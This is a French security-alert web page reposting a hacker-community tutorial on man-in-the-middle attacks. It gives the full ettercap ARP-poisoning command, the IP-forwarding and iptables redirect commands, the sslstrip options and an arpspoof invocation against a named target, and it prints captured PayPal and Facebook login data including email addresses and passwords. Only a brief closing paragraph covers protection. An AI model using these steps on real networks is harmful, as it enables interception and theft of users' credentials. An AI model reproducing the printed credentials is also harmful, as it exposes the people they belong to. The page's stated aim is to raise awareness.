Intrapole
VOUS  TES ICI : Accueil » Alertes Sécurité »

Paroles de pirate : une attaque MITM décortiquée

novembre 10, 2011

La communauté MOH (Mouvement Offensive Hacker) présente un tutoriel écrit par un de ses membres, Roy’S-Tr@que, expliquant étapes par étapes une attaque de type Man in The Middle. Il s’agit d’un exemple pour alerter les sociétés et les utilisateurs sur certains risques informatiques.

Nous allons vous détailler une attaque dite MITM (Man In The Middle). Cette technique consiste à infiltrer un réseau et intercepter les informations qui y transitent sans être vu.
Nous allons détailler deux types d’attaques utilisant la méthode de « l’homme du milieu ».

En premier lieu, nous allons établir une attaque basique. Elle va analyser le réseau pour récupérer différentes données codées en ASCII. Dans un deuxième temps, nous lancerons une attaque utilisant le certificat SSL sur le port 1500. Cela consiste à envoyer une url de redirection à la victime, qui pense se trouver sur un site sécurisé en https.

Sur l’attaque basique

Elle repose sur ce que l’on appelle le cache ARP. Il s’agit d’une table de couples d’adresses IPv4-MAC contenue dans la mémoire d’un ordinateur qui utilise le protocole ARP, ce qui est le cas des ordinateurs qui sont connectés à un réseau IP sur un segment Ethernet. Dans notre cas, nous allons analyser le réseau en lançant un terminal Linux et en tapant cette commande :ettercap-T -M arp:remote /192.168.1.99/ /192.168.1.1/ -i wlan0

Des explications s’imposent sur cette commande :

.-Ettercap est un outil d’ARP poisoning
.-M, –mitm va utiliser les performances d’attaque du cache ARP
.-T, –text va faire apparaitre toute les activités textuel dans votre terminal
.-i, –iface va utiliser l’interface de connexion sur laquelle vous allez lancer l’attaque.

Mais si nous voulons viser une cible précise non allons utiliser arp:remote pour viser une personne précise du réseau en l’occurrence 192.168.1.99 qui a comme passerelle par défaut, pour accéder à son routeur 192.168.1.1. Une fois validée cette commande cela doit vous donner ce résultat

Une fois l’attaque lancée, vous êtes maintenant en situation de MITM. Chaque site visité, chaque donnée échangée par l’ordinateur cible vont transiter vers votre ordinateur de manière chiffrée en code ASCII, sans que l’utilisateur ne le sache. Vous trouverez ci-dessous une image de ce que vous devriez voir

Attaque MITM pour récupérer des données de sites sécurisés

L’attaque MITM suivante a pour but de collecter des données qui sont censées être sécurisées sur des sites tels que Paypal, Facebook, des banques, etc. La première chose à savoir est que très peu de personnes tapent directement https dans leur barre d’adresse. En fait, les deux façons d’arriver sur du https lorsqu’on surfe sur le web de manière classique sont les suivantes :

- en cliquant sur un lien
- en suivant une redirection de type 302 (provisoire)

En effet, sur la plupart des sites proposant du contenu sécurisé en https, il faut dans un premier temps passer par une page http (accueil par exemple) avant d’être redirigé vers une page sécurisée. C’est le cas sur les sites bancaires, sur Gmail, Paypal etc. La grande majorité des sites web proposant du contenu sécurisé en https ont une page d’accueil en http.

Pour réaliser l’attaque, nous nous servons de SSlstrip (un script en python utilisé pour la première fois à la Black Hat 2009 et créé par Moxie Marlinspike, qui milite pour le changement du modèle SSL) qui permet le détournement du trafic sécurisé https en le redirigeant vers du http. Il retranscrit même l’icône du petit cadenas, en bas à droite de l’écran ou à côté de l’URL nommée favicon et qui rassure les internautes. Cela implique plusieurs conséquences :
- le serveur ne voit rien, pour lui la connexion est toujours encryptée
- le client ne voit aucun message d’alerte dans son navigateur
- l’attaquant peut sniffer toutes les données car elles transitent en clair

Une fois SSLstrip installé, il faut d’abord activer l’IP forwarding, via cette commande :

echo « 1″ > /proc/sys/net/ipv4/ip_forward

Après, on effectue une redirection du trafic http avec iptables vers le port 15000

iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port 15000
Au sein du script SSLstrip, il existe plusieurs options à choisir :
.-w , –write= Specify file to log to (optional).
.-p , –post Log only SSL POSTs. (default)
.-s , –ssl Log all SSL traffic to and from server.
.-a , –all Log all SSL and HTTP traffic to and from server.
.-l , –listen= Port to listen on (default 10000).
.-f , –favicon Substitute a lock favicon on secure requests.
.-k , –killsessions Kill sessions in progress.
.-h Print this help message.
Pour choisir les options, nous tapons cette commande :

python sslstrip.py -w log.txt -a -l 15000 –f
Il est possible de changer le chemin d’accès -w /root/Desktop/log.txt

SSLstrip sera en écoute sur le port 15000, puis cela enregistrera toute les informations dans un fichier texte (log.txt). Ce script doit être combiné avec une attaque MITM et nous allons lancer arpspoof, un autre outil d’attaque MITM (par rapport à ettercap utilisé précédemment)
arpspoof -i eth0 -t 192.168.1.99 192.168.1.1
Sur cet exemple, la cible est l’IP 192.168.1.99 et le routeur disposant de l’adresse 192.168.1.1.

Si tous se passe bien vous devriez voir ça

Et sur le PC victime cela lui établira un faux certificat SSL lui demandant de valider ou d’ignorer cette alerte de sécurité comme ceci :

Nous allons analyser l’activité sur notre terminal qui fonctionne avec SSLstrip. Le pc cible va se connecter à Paypal ou Facebook par exemple :

Le pc cible va cliquer sur le bouton « Connectez », normalement, théoriquement il devrais être rediriger vers du https mais pas dans le cadre de notre attaque. On constate par ailleurs la présence du favicon , ce qui est trompeur.

Pendant ce temps, du côté du pirate on peut voir les activités qui si passe :

Maintenant ouvrons le fichier log.txt on peut trouver ceci

Pour Paypal :

SECURE POST Data (www.paypal.com) :
login_cmd=&login_params=&login_email=adams %40live.fr&login_password=ddrp345g&target_page
=0&submit.x=Connectez-vous&form_charset=UTF-8&
browser_name=Firefox&browser_version=6&operating_system=Windows&flow_name=
p%2Fgen%2Flogin&bp_mid=v%3D1%3Ba1%3Dna%7Ea2%3
Dna%7Ea3%3Dna%7Ea4%3DMozilla

Pour Facebook :

[code]SECURE POST Data (www.facebook.com) :
charset_test=%E2%82%AC%2C%C2%B4%2C%E2%82%AC%2C%C2%B4
%2C%E6%B0%B4%2C%D0%94%2C%D0%84&lsd=B_e3n&locale=fr_FR&email=nimour%40yahoo.fr&pass=nimous550&default_persistent=0&charset_test=%E2%82%AC%
2C%C2%B4%2C%E2%82%AC%2C%C2%B4%2C%E6%B0%B4%2C%D0%94%2C
%D0%84&lsd=B_e3n
2011-08-22 13:04:25,837 Got server response : HTTP/1.0 302 Found
Dans les deux cas, nous nous sommes procuré les identifiants et les mots de passe sur des sites sécurisés. SECURE POST Data .... fr_FR&email= le login & pass= le passe

Pour se protéger

Si la méthode utilisée pour ces différentes attaques n’est pas récente, elle fonctionne toujours. Pour s’en protéger, la solution est simple, on devrait tous passer par des connexions sécuriser comme un VPN par exemple. En dehors de cela, il faut rester vigilant et vérifier que les sites soient sécurisés et donc de passer directement en https. Il est aussi utile de s’appuyer sur des standards notamment en matière de messagerie, pop3, Imap, etc.

Tutoriel écrit par Roy’S-Tr@que

Source : blog3.lemondeinformatique.fr